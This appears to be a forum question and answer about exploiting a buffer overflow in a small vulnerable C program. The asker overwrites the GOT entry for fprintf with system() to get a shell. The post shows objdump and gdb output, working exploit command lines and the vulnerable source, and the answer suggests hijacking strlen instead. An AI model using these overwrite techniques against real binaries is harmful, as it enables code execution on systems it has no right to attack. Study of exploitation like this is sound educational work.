Below is objdump output of a C program (source code at bottom of this post) where I am doing buffer overflow to overwrite the group offset table (GOT) entry:

-$ objdump -R ./vuln

./vuln:     file format elf32-i386

OFFSET   TYPE              VALUE 
08049944 R_386_GLOB_DAT    __gmon_start__
08049980 R_386_COPY        stderr
#note the adress of stdout below
080499a0 R_386_COPY        stdout
08049954 R_386_JUMP_SLOT   printf
08049958 R_386_JUMP_SLOT   fwrite
0804995c R_386_JUMP_SLOT   strcpy
08049960 R_386_JUMP_SLOT   system
08049964 R_386_JUMP_SLOT   __gmon_start__
08049968 R_386_JUMP_SLOT   exit
0804996c R_386_JUMP_SLOT   strlen
08049970 R_386_JUMP_SLOT   __libc_start_main
 #note the adress of fprintf below
08049974 R_386_JUMP_SLOT   fprintf

Address of system(), from gdb:

(gdb) p system
$3 = {<text variable, no debug info>} 0x8048410 <system@plt>

I am able to call system() instead of fprintf() by writing 0x8048410 in 0x8049974 by providing the input as below.

-$ ./vuln `perl -e 'print "A" x 128'``printf "\x74\x99\x04\x08"` `printf "\x10\x84\x04\x08"`
sh: 1: �*��: not found

Above input worked and system() got called instead of fprintf(), as can be seen in above output. But it looks like /bin/sh tried to execute command located in stdout which it could not understand ( sh: 1: �*��: not found).

We can see from objdump output above that address of stdout is 0x80499a0. This address is 44 bytes away from 0x8049974.

Remember that I am copying 0x8048410 to 0x8049974.

So I thought, after 0x8048410 I can give 40 random characters and then /bin/sh so that /bin/sh will be copied to 0x80499a0 (address of stdout). So when system(stdout, "%s\n", buffer); a new shell is spawned.

After doing this at least shell error is gone (i.e. I dont get sh: 1: �*��: not found), but nothing else seems to happen and new shell is not spawned.

-$ ./vuln `perl -e 'print "A" x 128'``printf "\x74\x99\x04\x08"` `printf "\x10\x84\x04\x08"``perl -e 'print "a"x40 . "/bin/sh"'`

So summary is:

I am able able to call system() instead of fprintf() by overwriting GOT entries, and I have NO problem in this part. But once system() is called, my problem is (stdout, "%s\n", buffer), because of which (I guess) system() (and consequently /bin/sh) is trying to execute a command whose name is pointed by stdout.

As, I said I tried by writing /bin/sh after 44 bytes after 0x8049974 but nothing seems to happen.

I am able to call system(stdout, "%s\n", buffer) instead of fprintf(stdout, "%s\n", buffer) by overwriting GOT entry. But I am not able to spawn a shell with this system command. How can I point stdout to /bin/sh. I have the adress (0x80499a0) that stdout is pointing to (from objdump output).

Below is the source code of the program I am trying to exploit

int main(int argc, char **argv)
    char *p; 
    char buffer[128];
    if (argc != 3) {

    fprintf(stderr, "enter two strings that need to be concatenated\n");
    return 1;
system("echo hello");

/* concatenate two input strings, and print them out together */
p = buffer + strlen(argv[1]);  
strcpy(buffer, argv[1]);
strcpy(p, argv[2]);
fprintf(stdout, "%s\n", buffer);



1 Answer 1


By overwriting printf in the Global Object Table you are, in effect, left with the following code:


…which is going to be a problem because stdout points to the stdout FILE structure and this is unlikely to make sense when interpreted as a string. A better chance of success would be to overwrite strlen and pass the command to execute in argv[1].

  • stdout is a pointer to a FILE structure; the names for small-integer file descriptors, on Unix/POSIX only, are allcaps STDOUT_FILENO etc. Nov 12, 2015 at 20:52
  • Thanks dave_thompson_085 for the correction. I've edited the text to clear up the sloppiness in my reply.
    – stiabhan
    Nov 12, 2015 at 21:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.